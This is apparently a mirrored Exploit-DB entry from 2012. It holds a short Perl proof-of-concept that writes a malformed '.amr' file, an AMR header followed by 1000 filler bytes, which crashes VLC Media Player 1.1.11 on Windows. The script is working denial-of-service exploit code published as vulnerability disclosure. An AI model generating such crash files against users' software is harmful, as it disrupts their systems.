VideoLAN VLC Media Player 1.1.11 – ‘.amr’ Denial of Service (PoC) - 体验盒子

作者： Fabi@habsec

日期： 2012-01-04

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/18309/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

#!/usr/bin/perl

##

# Exploit Title: VLC media player v1.1.11 (.amr) Local Crash PoC

# Date: 04.01.2012

# Author: Fabi@habsec (hapsec@gmail.com)

# Software Link: http://sourceforge.net/projects/vlc/files/1.1.11/win32/vlc-1.1.11-win32.exe

# Version: 1.1.11

# Tested on: Windows 7 x86 English

#

# Description: Unhandled Access Violation Exception loading generated .amr file

#- 1.1.10 not affected!

#

##

#

system("title VLC .amr crash PoC");

system("cls");

print "\n";

print " [*] Name : VLC media player v1.1.11 (Adaptive Multi-Rate)\n";

print " [*] Exploit : Local Crash PoC\n";

sleep(2);

print "\n";

my $amr_boof = "\x23\x21\x41\x4D\x52"; # Treat as AMR

$amr_boof .= "\x41"x1000; # j4f

open(file , ">", "b00f.amr");

print file $amr_boof;

print "[+] File successfully created! Open in VLC or drag to playlist..\n" or die print "\n Wuups- Could not create File.. ";

close(file);

#

#Hannibal ante portas